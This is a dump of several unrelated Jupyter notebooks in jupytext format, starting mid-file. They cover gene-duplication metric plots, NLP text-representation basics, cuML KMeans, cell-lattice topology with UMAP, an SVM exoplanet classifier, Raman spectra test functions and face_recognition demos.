set_metric_file = os.path.join(data_dir, "SetMetrics_N{n_genes}_C{gen_colour}_T{threshold}_B{phenotype_builds}_Cx{high_colour}_J{n_jiggle}_D{determinism}_S{low_colour}.txt".format(**p))
# -
p["n_genes"] += 1
p["phenotype_builds"] = p["n_genes"] * 50
duplicate_set_metric_file = os.path.join(data_dir, "SetMetricsDuplicate_N{n_genes}_C{gen_colour}_T{threshold}_B{phenotype_builds}_Cx{high_colour}_J{n_jiggle}_D{determinism}_S{low_colour}.txt".format(**p))
dfs = pd.read_csv(set_metric_file, sep=" ")
dfd = pd.read_csv(duplicate_set_metric_file, sep=" ")
metrics = ['srobustness', 'irobustness', 'evolvability', 'complex_diversity', 'diversity', 'robust_evolvability', 'complex_evolvability', 'rare', 'unbound']
# +
df = dfs.merge(dfd, on=("pIDs"), suffixes=('_sim', '_dup'))
for metric in metrics:
df[metric + '_rel'] = (df[metric + '_dup'] - df[metric + '_sim'])
df[metric + '_norm'] = df[metric + '_rel'] / (df[metric + '_sim'] + df[metric + '_dup'])
df["max_size"] = df.pIDs.apply(lambda x: max(eval(x))[0])
# -
iplot(pu.scatter_metric_size(df, 'srobustness_sim', max_size=15, multi=True, title='srobustness_sim'))
iplot(pu.dual_metric_size(df, metrics=['srobustness_sim', 'srobustness_dup'], max_size=15, title='Comparison srobustness'))
iplot(pu.scatter_metrics(df, xMetric='srobustness_norm', yMetric='evolvability_norm', max_size=15, multi=True, title='Comparison srobustness'))
fig = pu.all_metrics_size(df, metrics, suffixe='_sim', max_size=15, title='Effect of Gene Duplication on GP-map', colors=DEFAULT_PLOTLY_COLORS[0])
fig2 = pu.all_metrics_size(df, metrics, suffixe='_dup', max_size=15, title='Effect of Gene Duplication on GP-map',colors=DEFAULT_PLOTLY_COLORS[1])
for index in range(len(fig2.data)):
fig.add_trace(fig2.data[index])
iplot(fig)
| notebooks/example_visual_GPmap_properties.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# # Traditional Text Representation and Feature Engineering
# ## Common Imports
# +
import pandas as pd
import re
import numpy as np
pd.set_option('display.max_colwidth', None)
pd.set_option('display.max_columns', None)
import nltk
from nltk import sent_tokenize, word_tokenize
STOPWORDS = nltk.corpus.stopwords.words('english')
# -
# ## One-Hot Representation
sample = '''This will be followed by more of the same with the mist and fog clearing to give a day of unbroken sunshine
everywhere on Tuesday and temperatures of between 22 and 27 degrees. It will warmest in the midlands. Temperatures
could reach a September record for the century in Ireland, but are unlikely to surpass the 29.1 degrees recorded
at Kildare’s Clongowes Wood College on September 1st, 1906. Tuesday, however, will be the last day of the sunshine
with rain arriving across the country on Wednesday morning. Temperatures will remain as high as 24 degrees with the
warmth punctuated by heavy showers.'''
cleaned_sample = re.sub("[^A-Za-z0-9\s.]", "" , sample.replace('\n', '').lower())
cleaned_sample
tokens_docs = [word_tokenize(doc) for doc in sent_tokenize(cleaned_sample)]
print(tokens_docs)
word_to_id = {token: idx for idx, token in enumerate(set(word_tokenize(cleaned_sample)))}
word_to_id
token_ids = [[word_to_id[token] for token in tokens_doc] for tokens_doc in tokens_docs]
print(token_ids)
num_words = len(word_to_id)
num_words
encoded_sequences = []
for each_seq in token_ids:
encoded_tokens = []
for each_token_id in each_seq:
a = np.zeros((1, num_words))
a[0, each_token_id] = 1
encoded_tokens.append(a)
encoded_sequences.append(encoded_tokens)
encoded_sequences
# ## Bag-of-Words (BoW)
from sklearn.feature_extraction.text import CountVectorizer
vectorizer = CountVectorizer(stop_words=STOPWORDS)
vectorizer.fit([sample])
vectorizer.vocabulary_
# **Note:**
#
# A mapping of terms to feature indices. Logic is similar to word_to_id in One Hot Encoding. Since the count vectorizer was initiated with instrcuting to remove the stopwords, the vocab size decreased.
len(vectorizer.vocabulary_)
cv_vector = vectorizer.transform([sample])
cv_vector.shape
cv_vector.toarray()
# The size of the array is the final vocab size (obtained with vectorizer.vocabulary_) and the counts of the tokens' in the text is displayed. For example, the tokne at 14th position appeared twice. In the vocab, at 14 we have the word 'day' and it appears twice in the sample text. Similarly, the word 'degrees' occur thrice, and is in the 15th position which indicates '3' in the cv_vector array.
#
# **Sample Text**
#
# 'This will be followed by more of the same with the mist and fog clearing to give a **day** of unbroken sunshine everywhere on Tuesday and temperatures of between 22 and 27 degrees. It will warmest in the midlands. Temperatures could reach a September record for the century in Ireland, but are unlikely to surpass the 29.1 degrees recorded at Kildare’s Clongowes Wood College on September 1st, 1906. Tuesday, however, will be the last **day** of the sunshine with rain arriving across the country on Wednesday morning. Temperatures will remain as high as 24 degrees with the warmth punctuated by heavy showers.'
# ## N-Grams
vectorizer = CountVectorizer(ngram_range=(2,2))
cv_vector = vectorizer.fit_transform([sample])
cv_vector = cv_vector.toarray()
vocab = vectorizer.get_feature_names()
pd.DataFrame(cv_vector, columns=vocab)
# +
from nltk import ngrams
n = 3
for grams in ngrams(word_tokenize(sample), n):
print(grams)
# -
# ## Term Frequency - Inverse Document Frequent
from sklearn.feature_extraction.text import TfidfVectorizer
tf_idf = TfidfVectorizer(min_df=0., max_df=1., use_idf=True, stop_words=STOPWORDS)
tfidf_vector = tf_idf.fit([sample])
tfidf_vector.vocabulary_
tfidf_vector = tf_idf.transform([sample])
tfidf_vector.toarray()
vocab = tf_idf.get_feature_names()
pd.DataFrame(np.round(tfidf_vector.toarray(), 2), columns=vocab)
# ## Count Vectorizer and Tf-idf on sent_tokenized(sample)
from sklearn.feature_extraction.text import CountVectorizer
vectorizer = CountVectorizer() # Not using stopwords to demo the behavior with multiple token occurrence in one document
vectorizer.fit(sent_tokenize(cleaned_sample)) # here each element in the sent_tokenize list is a doc
vectorizer.transform(sent_tokenize(cleaned_sample)).toarray()
encoded_vector = vectorizer.transform(sent_tokenize(cleaned_sample)).toarray()
len(encoded_vector[0])
len(vectorizer.vocabulary_)
vectorizer.vocabulary_
# **Note:**
#
# All document is of same length as the vocabulary.
#
# Explanation -
# 1. 1st document, 1st word or position 0 = 0 ; because the word at index 0 is 1906 in the vocabulary. 1906 is not there in this document. Thus, it is zero.
#
# 2. 1st document, 2nd word or position 1 = 0 ; because the word at index 1 is 1st in the vocabulary. 1st is not there in this document. Thus, it is zero.
#
# 3. 1st document, 3rd word or position 2 = 1 ; because the word at index 2 is 22 in the vocabulary. 22 is there in this document. Thus, it is 1.
#
# 3. 1st document, 8th word or position 7 = 3 ; because the word at index 7 is 'and' in the vocabulary. 'and' is there in this document thrice. Thus, it is 3.
#
# **Ref**
#
# 'This will be followed by more of the same with the mist and fog clearing to give a day of unbroken sunshine \neverywhere on Tuesday and temperatures of between 22 and 27 degrees.',
#
# 'It will warmest in the midlands.',
#
# 'Temperatures \ncould reach a September record for the century in Ireland, but are unlikely to surpass the 29.1 degrees recorded \nat Kildare’s Clongowes Wood College on September 1st, 1906.',
#
# 'Tuesday, however, will be the last day of the sunshine \nwith rain arriving across the country on Wednesday morning.',
# 'Temperatures will remain as high as 24 degrees with the \nwarmth punctuated by heavy showers.'
tf_idf = TfidfVectorizer()
tf_idf.fit(sent_tokenize(cleaned_sample))
tf_idf.transform(sent_tokenize(cleaned_sample)).toarray()
vocab = tf_idf.get_feature_names()
pd.DataFrame(np.round(tf_idf.transform(sent_tokenize(cleaned_sample)).toarray(), 2), columns=vocab)
| Week 2/1_Traditional_Text_Representation.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: cuml4
# language: python
# name: python3
# ---
# # K-Means Demo
#
# KMeans is a basic but powerful clustering method which is optimized via Expectation Maximization. It randomly selects K data points in X, and computes which samples are close to these points. For every cluster of points, a mean is computed, and this becomes the new centroid.
#
# cuML’s KMeans supports the scalable KMeans++ intialization method. This method is more stable than randomnly selecting K points.
#
# The model can take array-like objects, either in host as NumPy arrays or in device (as Numba or cuda_array_interface-compliant), as well as cuDF DataFrames as the input.
#
# For information on converting your dataset to cuDF documentation: https://rapidsai.github.io/projects/cudf/en/latest/
#
# For additional information on cuML's k-means implementation: https://rapidsai.github.io/projects/cuml/en/latest/api.html#k-means-clustering
# +
import numpy as np
import pandas as pd
import cudf as gd
from cuml.datasets import make_blobs
from sklearn.metrics import adjusted_rand_score
# %matplotlib inline
import matplotlib.pyplot as plt
from sklearn.cluster import KMeans as skKMeans
from cuml.cluster import KMeans as cumlKMeans
# -
# ## Define Parameters
n_samples = 100000
n_features = 2
# ## Generate Data
#
# ### Device
# +
device_data, device_labels = make_blobs(
n_samples=n_samples, n_features=n_features, centers=5, random_state=7)
device_data = gd.DataFrame.from_gpu_matrix(device_data)
device_labels = gd.Series(device_labels)
# -
# ### Host
host_data = device_data.to_pandas()
host_labels = device_labels.to_pandas()
# ## Scikit-learn model
# %%time
kmeans_sk = skKMeans(n_clusters=5,
n_jobs=-1)
kmeans_sk.fit(host_data)
# ## cuML Model
# %%time
kmeans_cuml = cumlKMeans(n_clusters=5)
kmeans_cuml.fit(device_data)
# ## Visualize Centroids
# +
fig = plt.figure(figsize=(16, 10))
plt.scatter(host_data[:, 0], host_data[:, 1], c=host_labels, s=50, cmap='viridis')
#plot the sklearn kmeans centers with blue filled circles
centers_sk = kmeans_sk.cluster_centers_
plt.scatter(centers_sk[:,0], centers_sk[:,1], c='blue', s=100, alpha=.5)
#plot the cuml kmeans centers with red circle outlines
centers_cuml = kmeans_cuml.cluster_centers_
plt.scatter(centers_cuml['0'], centers_cuml['1'], facecolors = 'none', edgecolors='red', s=100)
plt.title('cuml and sklearn kmeans clustering')
plt.show()
# -
# ## Compare Results
# %%time
cuml_score = adjusted_rand_score(host_labels, kmeans_cuml.labels_)
sk_score = adjusted_rand_score(host_labels, kmeans_sk.labels_)
# +
threshold = 1e-4
passed = (cuml_score - sk_score) < threshold
print('compare kmeans: cuml vs sklearn labels_ are ' + ('equal' if passed else 'NOT equal'))
# -
| cuml/kmeans_demo.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: cell_lattices
# language: python
# name: cell_lattices
# ---
# +
import os
import numpy as np
import pandas as pd
import colorcet as cc
import matplotlib.pyplot as plt
import cell_lattices as cx
# +
# Options for reading inputs
data_dir = os.path.realpath("/home/pbhamidi/git/cell-lattices/data")
enum_data_fpath = os.path.join(data_dir, "cellgraph_enumeration.csv")
# Options for saving output(s)
save = False
save_dir = os.path.realpath("/home/pbhamidi/git/cell-lattices/data")
# fmt = "png"
# dpi = 300
# Read in enumerated cell graph data
print("Reading in data")
df = pd.read_csv(enum_data_fpath)
# -
# Extract metadata by reading an example hash
binstr = df["combination"].values[-1]
n = len(binstr)
n_A = binstr.count("1")
rows = cols = int(np.sqrt(n))
cx.binstr_to_bin_hash(binstr)
# +
# print("Converting combinations to Boolean array")
# combs_bool = np.asarray(
# [[bool(int(char)) for char in s] for s in df["combination"]],
# dtype=bool,
# )
# n_comp = df["n_components"].values.astype(int)
# +
rows = cols = 5
X = cx.hex_grid(rows, cols)
L = cx.get_adjacency_list_periodic(rows, cols)
n = L.shape[0]
idx = np.arange(n)
n_A = n // 2
ctype = np.zeros(n, dtype=int)
# ctype[:n_A] = 1
ctype[n_A] = 1
ctype[L[n_A, :2]] = 2, 3
# -
fig, ax = plt.subplots(figsize=(3,3))
cx.plot_hex_sheet(ax, X, idx)
plt.tight_layout()
sidx = idx.copy().reshape(rows, cols)
sidx = np.roll(sidx, shift=1, axis=1)
sidx[:, 0::2] = np.roll(sidx[:, 0::2], shift=1, axis=0)
sidx
# +
def translate_hex_i(idx, rows, cols):
"""Translate hex in x-direction (axis 0 index)"""
return np.roll(idx.reshape(rows, cols), shift=1, axis=0).flatten()
def translate_hex_j(idx, rows, cols):
"""Translate hex in 60deg-direction from x-axis"""
sidx = idx.reshape(rows, cols)
sidx = np.roll(sidx, shift=1, axis=1)
sidx[:, 0::2] = np.roll(sidx[:, 0::2], shift=1, axis=0)
return sidx.flatten()
def flip_hex_i(idx, rows, cols):
fidx = idx.reshape(rows, cols)[::-1]
fidx[:, 0::2] = np.roll(fidx[:, 0::2], shift=1, axis=0)
return fidx.flatten()
def flip_hex_j(idx, rows, cols):
return idx.reshape(rows, cols)[:, ::-1].flatten()
def rotate_hex(idx, rows, cols):
return idx.reshape(rows, cols).T.flatten()
# +
# %matplotlib widget
scale = 2
prows = 4
pcols = 2
_c = ctype.copy()
fig = plt.figure(figsize=(scale * pcols, scale * prows * 0.8))
for prow in range(prows):
for pcol in range(pcols):
i = prow * pcols + pcol
ax = fig.add_subplot(prows, pcols, i + 1)
# _c = ctype[translate_hex((prow, pcol), rows, cols)]
cx.plot_hex_sheet(ax, X, _c, ec="w", linewidth=scale, cmap="rainbow")
_c = flip_hex_i(_c, rows, cols)
if prow % 2:
_c = flip_hex_j(_c, rows, cols)
else:
_c = rotate_hex(_c, rows, cols)
plt.tight_layout()
# -
n, idx, H = cx.get_hex_neighbours(5, 5)
H
L
import umap
import numpy as np
import pandas as pd
import requests
import os
import datashader as ds
import datashader.utils as utils
import datashader.transfer_functions as tf
import matplotlib.pyplot as plt
import seaborn as sns
# +
sns.set(context="paper", style="white")
if not os.path.isfile("fashion-mnist.csv"):
csv_data = requests.get("https://www.openml.org/data/get_csv/18238735/phpnBqZGZ")
with open("fashion-mnist.csv", "w") as f:
f.write(csv_data.text)
source_df = pd.read_csv("fashion-mnist.csv")
# +
data = source_df.iloc[:, :784].values.astype(np.float32)
target = source_df["class"].values
pal = [
"#9e0142",
"#d8434e",
"#f67a49",
"#fdbf6f",
"#feeda1",
"#f1f9a9",
"#bfe5a0",
"#74c7a5",
"#378ebb",
"#5e4fa2",
]
color_key = {str(d): c for d, c in enumerate(pal)}
# -
reducer = umap.UMAP(random_state=42, verbose=True)
embedding = reducer.fit_transform(data)
# %matplotlib widget
# +
df = pd.DataFrame(embedding, columns=("x", "y"))
df["class"] = pd.Series([str(x) for x in target], dtype="category")
cvs = ds.Canvas(plot_width=400, plot_height=400)
agg = cvs.points(df, "x", "y", ds.count_cat("class"))
img = tf.shade(agg, color_key=color_key, how="eq_hist")
utils.export_image(img, filename="fashion-mnist", background="black")
image = plt.imread("fashion-mnist.png")
fig, ax = plt.subplots(figsize=(6, 6))
plt.imshow(image)
plt.setp(ax, xticks=[], yticks=[])
plt.title(
"Fashion MNIST data embedded\n"
"into two dimensions by UMAP\n"
"visualised with Datashader",
fontsize=12,
)
# -
# ---
# +
# #!/usr/bin/env python
# coding: utf-8
import os
from itertools import combinations
import multiprocessing as mp
import networkx as nx
import cell_lattices as cx
import numpy as np
import pandas as pd
import scipy.special as sp
from scipy.spatial import distance as dist
from tqdm import tqdm
import umap
import colorcet as cc
import matplotlib.pyplot as plt
import seaborn as sns
# +
# Options for saving output(s)
save = True
save_dir = os.path.realpath("./plots")
fmt = "png"
dpi = 300
# Get coordinates and adjacency for a periodic square lattice
rows = cols = 5
X = cx.hex_grid(rows, cols)
A = cx.make_adjacency_periodic(rows, cols)
# Make master cell graph
G = nx.from_numpy_matrix(A)
# Get total number of cells and a subset
n = A.shape[0]
n_sub = n // 2
# Get total number of permutations this tissue can undergo
ncomb = int(sp.comb(n, n_sub))
# +
# Make generator of all cell type combinations
gen = combinations(np.arange(n), n_sub)
# Make Boolean array of all combinations
combs = np.zeros((ncomb, n), dtype=bool)
for i in tqdm(range(ncomb)):
idx = next(gen)
combs[i, idx] = True
# +
def n_connected_components(idx):
"""Compute number of connected components given cell indices"""
return nx.number_connected_components(G.subgraph(idx))
# Parallelize calculation of tissue topology (# coneccted components)
if __name__ == '__main__':
# Get cluster
n_workers = mp.cpu_count()
pool = mp.Pool(n_workers)
# Compute results as array
iterator = combinations(np.arange(n), n_sub)
result_list = pool.map(n_connected_components, iterator)
ncc = np.asarray(result_list)
# -
combs_str = ["".join([str(int(c)) for c in comb]) for comb in combs]
combs_df = pd.DataFrame(dict(combination=combs_str, n_connected_components=ncc))
df_fname = os.path.realpath("cell_graph_combinations.csv")
combs_df.to_csv(df_fname, index=False)
combs_df = pd.read_csv(df_fname)
# +
## Perform UMAP
# Select data
# data_slice = slice(None, None, None)
data_slice = slice(0, 3000000, 30000)
data = combs[data_slice]
clusters = ncc[data_slice]
colors = [sns.color_palette()[i] for i in clusters]
# Perform UMAP with progress
reducer = umap.UMAP(metric="hamming", verbose=True)
embedding = reducer.fit_transform(combs)
# +
# Plot
plt.scatter(
embedding[:, 0],
embedding[:, 1],
c=colors)
plt.gca().set_aspect('equal', 'datalim')
plt.title('UMAP projection of tissue topologies ($5 \times 5$)', fontsize=18)
if save:
fname = "topology_UMAP_5x5_"
fpath = os.path.join(save_dir, fname + "." + fmt)
plt.savefig(fpath, dpi=dpi)
else:
plt.show()
# -
| cell_graph_scratch.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernel_info:
# name: dev
# kernelspec:
# display_name: Python [conda env:PythonAdv]
# language: python
# name: conda-env-PythonAdv-py
# ---
# # Model 2 SVM (Support Vector Machines)
# Update sklearn to prevent version mismatches
# !pip install sklearn --upgrade
# install joblib. This will be used to save your model.
# Restart your kernel after installing
# !pip install joblib
import pandas as pd
# ## Read the CSV and Perform Basic Data Cleaning
df = pd.read_csv("Resources/exoplanet_data.csv")
# Drop the null columns where all values are null
df = df.dropna(axis='columns', how='all')
# Drop the null rows
df = df.dropna()
df.head()
# ## Select your features (columns)
# +
# Get rid of unnecessary columns (columns that are not independently measured)
# Set features. This will also be used as your x values.
# Assign X (data) and y (target)
data = df[['koi_fpflag_nt', 'koi_fpflag_ss', 'koi_fpflag_co', 'koi_fpflag_ec',
'koi_period', 'koi_time0bk', 'koi_impact', 'koi_duration',
'koi_depth', 'koi_prad', 'koi_teq', 'koi_insol',
'koi_model_snr', 'koi_steff', 'koi_slogg', 'koi_srad',
'ra', 'dec', 'koi_kepmag']]
feature_names = data.columns
target = df["koi_disposition"]
target_names = ["confirmed", "false positive", "candidate"]
data.head()
# -
# ## Create a Train Test Split
#
# Use `koi_disposition` for the y values
# +
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(data, target, random_state=42)
# -
X_train.head()
# ## Pre-processing
#
# Scale the data using the MinMaxScaler and perform some feature selection
# +
# Scale your data
from sklearn.preprocessing import MinMaxScaler, LabelEncoder
X_scaler = MinMaxScaler().fit(X_train)
X_train_scaled = X_scaler.transform(X_train)
X_test_scaled = X_scaler.transform(X_test)
# Label-encode data set
label_encoder = LabelEncoder()
label_encoder.fit(y_train)
encoded_y_train = label_encoder.transform(y_train)
encoded_y_test = label_encoder.transform(y_test)
# -
# ## Create and Fit the Model
# +
from sklearn.svm import SVC
model = SVC(kernel='linear')
model.fit(X_train_scaled, encoded_y_train)
# -
# get importance
importance = model.coef_[0]
impt = []
# summarize feature importance
for i,v in enumerate(importance):
impt.append(v)
sorted(zip(impt, data.columns), reverse=True)
# +
# Set significant features - those furthest from 0
data = data[['koi_period', 'koi_teq', 'koi_steff', 'koi_kepmag',
'ra', 'koi_fpflag_nt', 'koi_duration', 'koi_time0bk',
'koi_slogg', 'koi_model_snr']]
feature_names = data.columns
data.head()
# -
# ## Train the Model
# +
# Recreate train test split
X_train, X_test, y_train, y_test = train_test_split(data, target, random_state=42)
# Rescale data
X_scaler = MinMaxScaler().fit(X_train)
X_train_scaled = X_scaler.transform(X_train)
X_test_scaled = X_scaler.transform(X_test)
# Retrain model
model = SVC(kernel='linear')
model.fit(X_train_scaled, encoded_y_train)
# +
print(f"Training Data Score: {model.score(X_train_scaled, encoded_y_train)}")
print(f"Testing Data Score: {model.score(X_test_scaled, encoded_y_test)}")
from sklearn.metrics import classification_report
predictions = model.predict(X_test_scaled)
print(classification_report(encoded_y_test, predictions,
target_names=target_names))
# -
# ## Hyperparameter Tuning
#
# Use `GridSearchCV` to tune the model's parameters
# Create the GridSearchCV model
from sklearn.model_selection import GridSearchCV
param_grid = {'C': [1, 5, 10],
'gamma': [0.0001, 0.001, 0.01]}
grid = GridSearchCV(model, param_grid, verbose=3)
# Train the model with GridSearch
grid.fit(X_train_scaled, encoded_y_train)
print(grid.best_params_)
print(grid.best_score_)
# Make predictions with hypertuned model
predictions = grid.predict(X_test_scaled)
print(classification_report(encoded_y_test, predictions,
target_names=target_names))
# ## Save the Model
# +
# save your model by updating "your_name" with your name
# and "your_model" with your model variable
# be sure to turn this in to BCS
# if joblib fails to import, try running the command to install in terminal/git-bash
#import joblib
#filename = 'SVM.sav'
#joblib.dump(model, filename)
| SVM_Model.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: Python 3
# language: python
# name: python3
# ---
# ### Test function development for the machine_learning.py module
import h5py
import numpy as np
from ramandecompy import interpolatespectra
key_list = interpolatespectra.keyfinder('ramandecompy/tests/test_files/test_experiment.hdf5')
hdf5 = h5py.File('ramandecompy/tests/test_files/test_experiment.hdf5', 'r')
type(hdf5['300C'])
type(hdf5['300C/25s'])
hdf5['300C/25s'].keys()
len(key_list)
# +
HDF5_FILENAME = 'ramandecompy/tests/test_files/test_calibration.hdf5'
TARGET_COMPOUND = 'water'
HDF5 = h5py.File(HDF5_FILENAME, 'r')
X_DATA = np.asarray(HDF5['{}/wavenumber'.format(TARGET_COMPOUND)])
Y_DATA = np.asarray(HDF5['{}/counts'.format(TARGET_COMPOUND)])
TUPLE_LIST = list(zip(X_DATA, Y_DATA))
def test_interp_and_norm():
"""
A function that tests that the interpolatespectra.interp_and_norm function is behaving
as expected.
"""
tuple_list = interpolatespectra.interp_and_norm(HDF5_FILENAME, TARGET_COMPOUND)
assert isinstance(tuple_list, list), '`tuple_list` is not a list'
assert isinstance(tuple_list[0], tuple), 'first element of `tuple_list` is not a tuple'
assert isinstance(tuple_list[0][0], np.int64), 'first element of tuple is not a np.int64'
x_data, y_data = zip(*tuple_list)
assert max(y_data) <= 1, 'spectra was not normalized correctly'
try:
interpolatespectra.interp_and_norm(4.2, TARGET_COMPOUND)
except TypeError:
print('A float was passed to the function, and was handled well with a TypeError.')
try:
interpolatespectra.interp_and_norm('hdf5.txt', TARGET_COMPOUND)
except TypeError:
print('A .txt was passed to the function, and was handled well with a TypeError.')
try:
interpolatespectra.interp_and_norm(HDF5_FILENAME, [TARGET_COMPOUND])
except TypeError:
print('A list was passed to the function, and was handled well with a TypeError.')
test_interp_and_norm()
print()
def test_apply_scaling():
"""
A function that tests that the interpolatespectra.apply_scaling function is behaving
as expected.
"""
# and odd value for j means the compound should be present if i and target_index match
j = 7
i = 3
target_index = 3
scaled_tuple_list = interpolatespectra.apply_scaling(TUPLE_LIST, j, i, target_index)
assert len(scaled_tuple_list) == len(TUPLE_LIST), 'scaled data not the same size as input data'
assert isinstance(scaled_tuple_list, list), '`scaled_tuple_list` is not a list'
assert isinstance(scaled_tuple_list[0], tuple), 'first element of `scaled_tuple_list` is not a tuple'
try:
interpolatespectra.apply_scaling(4.2, j, i, target_index)
except TypeError:
print('A float was passed to the function, and was handled well with a TypeError.')
try:
interpolatespectra.apply_scaling([1, 2, 3, 4], j, i, target_index)
except TypeError:
print("""A list not containing tuples was passed to the function,
and was handled well with a TypeError.""")
try:
interpolatespectra.apply_scaling(TUPLE_LIST, True, i, target_index)
except TypeError:
print('A boolean was passed to the function, and was handled well with a TypeError.')
try:
interpolatespectra.apply_scaling(TUPLE_LIST, j, 3, target_index)
except TypeError:
print('An int was passed to the function, and was handled well with a TypeError.')
try:
interpolatespectra.apply_scaling(TUPLE_LIST, j, i, 4.2)
except TypeError:
print('A float was passed to the function, and was handled well with a TypeError.')
test_apply_scaling()
print()
def test_generate_spectra_dataset():
"""
A function that tests that the interpolatespectra.generate_spectra_dataset
function is behaving as expected.
"""
spectra_count = 20
x_data, y_data, label = interpolatespectra.generate_spectra_dataset(HDF5_FILENAME,
TARGET_COMPOUND,
spectra_count)
assert len(x_data) == 20, 'incorrect number of spectra generated (x_data)'
assert len(y_data) == 20, 'incorrect number of spectra generated (y_data)'
assert len(label) == 20, 'incorrect number of spectra generated (label)'
try:
interpolatespectra.generate_spectra_dataset(4.2,
TARGET_COMPOUND,
spectra_count)
except TypeError:
print('A float was passed to the function and was handled well with a TypeError')
try:
interpolatespectra.generate_spectra_dataset('file.txt',
TARGET_COMPOUND,
spectra_count)
except TypeError:
print('A .txt was passed to the function and was handled well with a TypeError')
try:
interpolatespectra.generate_spectra_dataset(HDF5_FILENAME,
7,
spectra_count)
except TypeError:
print('An int was passed to the function and was handled well with a TypeError')
try:
interpolatespectra.generate_spectra_dataset(HDF5_FILENAME,
TARGET_COMPOUND,
-1)
except ValueError:
print('A negative int was passed to the function and was handled well with a TypeError')
try:
interpolatespectra.generate_spectra_dataset(HDF5_FILENAME,
TARGET_COMPOUND,
[1, 2, 3])
except TypeError:
print('A list was passed to the function and was handled well with a TypeError')
test_generate_spectra_dataset()
print()
def test_keyfinder():
"""
A function that tests that the interpolatespectra.keyfinder function is behaving
as expected.
"""
hdf5_filename = 'ramandecompy/tests/test_files/test_experiment.hdf5'
key_list = interpolatespectra.keyfinder(hdf5_filename)
assert isinstance(key_list, list), 'expected output is not a list'
assert isinstance(key_list[0], str), 'first element of list should be a string'
assert len(key_list) == 5, 'number of keys in hdf5 file is incorrect'
try:
interpolatespectra.keyfinder(4.2)
except TypeError:
print('A float was passed to the function and was handled well with a TypeError')
try:
interpolatespectra.keyfinder('hdf5_filename.txt')
except TypeError:
print('A .txt was passed to the function and was handled well with a TypeError')
test_keyfinder()
print()
# -
| development/machine_learning_tests.ipynb |
# ---
# jupyter:
# jupytext:
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.14.4
# kernelspec:
# display_name: FaceDetect
# language: python
# name: facedetect
# ---
# !pip install face_recognition
# !git clone https://github.com/ageitgey/face_recognition.git
# !start .
import face_recognition
image = face_recognition.load_image_file("two_people.jpg")
face_locations = face_recognition.face_locations(image)
face_locations
face_landmarks_list = face_recognition.face_landmarks(image)
# +
from PIL import Image, ImageDraw
import face_recognition
# Load the jpg file into a numpy array
image = face_recognition.load_image_file("obama.jpg")
# Find all facial features in all the faces in the image
face_landmarks_list = face_recognition.face_landmarks(image)
pil_image = Image.fromarray(image)
for face_landmarks in face_landmarks_list:
d = ImageDraw.Draw(pil_image, 'RGBA')
# Make the eyebrows into a nightmare
d.polygon(face_landmarks['left_eyebrow'], fill=(68, 54, 39, 128))
d.polygon(face_landmarks['right_eyebrow'], fill=(68, 54, 39, 128))
d.line(face_landmarks['left_eyebrow'], fill=(68, 54, 39, 150), width=5)
d.line(face_landmarks['right_eyebrow'], fill=(68, 54, 39, 150), width=5)
# Gloss the lips
d.polygon(face_landmarks['top_lip'], fill=(150, 0, 0, 128))
d.polygon(face_landmarks['bottom_lip'], fill=(150, 0, 0, 128))
d.line(face_landmarks['top_lip'], fill=(150, 0, 0, 64), width=8)
d.line(face_landmarks['bottom_lip'], fill=(150, 0, 0, 64), width=8)
# Sparkle the eyes
d.polygon(face_landmarks['left_eye'], fill=(255, 255, 255, 30))
d.polygon(face_landmarks['right_eye'], fill=(255, 255, 255, 30))
# Apply some eyeliner
d.line(face_landmarks['left_eye'] + [face_landmarks['left_eye'][0]], fill=(0, 0, 0, 110), width=6)
d.line(face_landmarks['right_eye'] + [face_landmarks['right_eye'][0]], fill=(0, 0, 0, 110), width=6)
pil_image.show()
# +
# Load the jpg file into a numpy array
image = face_recognition.load_image_file("obama.jpg")
# Find all the faces in the image using the default HOG-based model.
# This method is fairly accurate, but not as accurate as the CNN model and not GPU accelerated.
# See also: find_faces_in_picture_cnn.py
face_locations = face_recognition.face_locations(image)
print("I found {} face(s) in this photograph.".format(len(face_locations)))
for face_location in face_locations:
# Print the location of each face in this image
top, right, bottom, left = face_location
print("A face is located at pixel location Top: {}, Left: {}, Bottom: {}, Right: {}".format(top, left, bottom, right))
# You can access the actual face itself like this:
face_image = image[top:bottom, left:right]
pil_image = Image.fromarray(face_image)
pil_image.show()
# +
# Load the jpg file into a numpy array
image = face_recognition.load_image_file("obama.jpg")
# Find all the faces in the image using a pre-trained convolutional neural network.
# This method is more accurate than the default HOG model, but it's slower
# unless you have an nvidia GPU and dlib compiled with CUDA extensions. But if you do,
# this will use GPU acceleration and perform well.
# See also: find_faces_in_picture.py
face_locations = face_recognition.face_locations(image, number_of_times_to_upsample=0, model="cnn")
print("I found {} face(s) in this photograph.".format(len(face_locations)))
for face_location in face_locations:
# Print the location of each face in this image
top, right, bottom, left = face_location
print("A face is located at pixel location Top: {}, Left: {}, Bottom: {}, Right: {}".format(top, left, bottom, right))
# You can access the actual face itself like this:
face_image = image[top:bottom, left:right]
pil_image = Image.fromarray(face_image)
pil_image.show()
# -
import face_recognition
from PIL import Image, ImageDraw
import numpy as np
# +
# This is an example of running face recognition on a single image
# and drawing a box around each person that was identified.
# Load a sample picture and learn how to recognize it.
obama_image = face_recognition.load_image_file("obama.jpg")
obama_face_encoding = face_recognition.face_encodings(obama_image)[0]
# Load a second sample picture and learn how to recognize it.
biden_image = face_recognition.load_image_file("biden.jpg")
biden_face_encoding = face_recognition.face_encodings(biden_image)[0]
# Create arrays of known face encodings and their names
known_face_encodings = [
obama_face_encoding,
biden_face_encoding
]
known_face_names = [
"<NAME>",
"<NAME>"
]
# Load an image with an unknown face
unknown_image = face_recognition.load_image_file("two_people.jpg")
# Find all the faces and face encodings in the unknown image
face_locations = face_recognition.face_locations(unknown_image)
